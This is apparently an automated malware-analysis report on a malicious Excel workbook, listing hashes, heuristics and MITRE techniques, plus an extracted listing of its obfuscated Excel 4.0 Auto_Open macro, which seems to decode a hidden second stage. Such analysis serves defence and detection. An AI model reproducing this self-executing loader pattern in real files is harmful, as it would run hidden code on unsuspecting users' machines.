Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fa9263329cdce241…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:42:07 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: 9203e5d9c55ea3cef5c134f0003216ab SHA-1: 7152f26fffbcb8b9a059a1c11dc3160ef0bafc4a SHA-256: fa9263329cdce241a13f92600f2f377bab5e3e504573a2e5e4057b1d8519e713
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 (XLM) macros, specifically an Auto_Open macro, which is a critical finding. This indicates the macro will execute automatically upon opening the workbook. The presence of dangerous formula APIs like RUN suggests the macro is designed to execute arbitrary code, likely downloading and running a second-stage payload. No specific family could be identified.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6675 bytes
SHA-256: d92ad8626af1b25e9c8419afd0b6d5e4a61ec1bf0922d0fdaae31d378581dd47
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  GigkcqBahuQ
' 0018     24 LABEL : Cell Value, String Constant - aHnqyvfen len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I151 
' 0018     27 LABEL : Cell Value, String Constant - ERkqzUATzSHs len=0 
' 0018     26 LABEL : Cell Value, String Constant - FMKHVnEqtkM len=0 
' 0018     20 LABEL : Cell Value, String Constant - fXoIM len=0 
' 0018     24 LABEL : Cell Value, String Constant - gwdFhvJZQ len=0 
' 0018     23 LABEL : Cell Value, String Constant - jOweuQot len=0 
' 0018     21 LABEL : Cell Value, String Constant - ogKKDD len=0 
' 0018     23 LABEL : Cell Value, String Constant - OKrXSmXe len=0 
' 0018     26 LABEL : Cell Value, String Constant - SBgiQuAhXkV len=0 
' 0018     27 LABEL : Cell Value, String Constant - uswCXSwALRwf len=0 
' 0018     23 LABEL : Cell Value, String Constant - UUoyAqrT len=0 
' 0018     22 LABEL : Cell Value, String Constant - vJrwvxM len=0 
' 0018     27 LABEL : Cell Value, String Constant - WjogKIsBzEZj len=0 
' 0018     23 LABEL : Cell Value, String Constant - wLLwIuvY len=0 
' 0018     24 LABEL : Cell Value, String Constant - WRShmIhOs len=0 
' 0018     27 LABEL : Cell Value, String Constant - xkOhHhYrYOIp len=0 
' 0018     24 LABEL : Cell Value, String Constant - XSkniJJjV len=0 
' 0018     20 LABEL : Cell Value, String Constant - XwkPR len=0 
' 0018     21 LABEL : Cell Value, String Constant - XXqTrO len=0 
' 0018     25 LABEL : Cell Value, String Constant - YGMaVSkZOb len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  GigkcqBahuQ,I59,"SET.NAME("xkOhHhYrYOIp",VALUE("0"))",""
'  GigkcqBahuQ,I63,"SET.NAME("UUoyAqrT",xkOhHhYrYOIp)",""
'  GigkcqBahuQ,I67,"SET.NAME("XwkPR",xkOhHhYrYOIp)",""
'  GigkcqBahuQ,I71,"SET.NAME("ogKKDD",COUNTA(XXqTrO))",""
'  GigkcqBahuQ,I76,"SET.NAME("jOweuQot",COUNTA(XSkniJJjV))",""
'  GigkcqBahuQ,I80,[],""
'  GigkcqBahuQ,I85,"SET.NAME("ERkqzUATzSHs","")",""
'  GigkcqBahuQ,I87,"UUoyAqrT",""
'  GigkcqBahuQ,I92,"SET.NAME("gwdFhvJZQ",HLOOKUP("*",XXqTrO,UUoyAqrT,FALSE))",""
'  GigkcqBahuQ,I94,"WjogKIsBzEZj",""
'  GigkcqBahuQ,I98,"SET.NAME("OKrXSmXe",xkOhHhYrYOIp)",""
'  GigkcqBahuQ,I102,[],""
'  GigkcqBahuQ,I106,"OKrXSmXe",""
'  GigkcqBahuQ,I108,"aHnqyvfen",""
'  GigkcqBahuQ,I110,"vJrwvxM",""
'  GigkcqBahuQ,I113,"uswCXSwALRwf",""
'  GigkcqBahuQ,I115,"SET.NAME("WRShmIhOs",VALUE(HLOOKUP("*",XSkniJJjV,uswCXSwALRwf,FALSE)))",""
'  GigkcqBahuQ,I120,"fXoIM",""
'  GigkcqBahuQ,I122,"ERkqzUATzSHs",""
'  GigkcqBahuQ,I125,"XwkPR",""
'  GigkcqBahuQ,I127,NEXT(),""
'  GigkcqBahuQ,I129,"SBgiQuAhXkV",""
'  GigkcqBahuQ,I133,"SET.NAME("f",INT(T(FORMULA(T(ERkqzUATzSHs)&"",""&T(SBgiQuAhXkV)))))",""
'  GigkcqBahuQ,I138,"YGMaVSkZOb",""
'  GigkcqBahuQ,I143,NEXT(),""
'  GigkcqBahuQ,I148,RETURN(),""
'  GigkcqBahuQ,I175,"SET.NAME("FMKHVnEqtkM",I59)",""
'  GigkcqBahuQ,I180,"XXqTrO",""
'  GigkcqBahuQ,I185,"SET.NAME("XSkniJJjV",R70C15)",""
'  GigkcqBahuQ,I190,"SET.NAME("YGMaVSkZOb",198)",""
'  GigkcqBahuQ,I193,"SET.NAME("wLLwIuvY",9)",""
'  GigkcqBahuQ,I197,FMKHVnEqtkM(),""
'  GigkcqBahuQ,I198,HALT(),""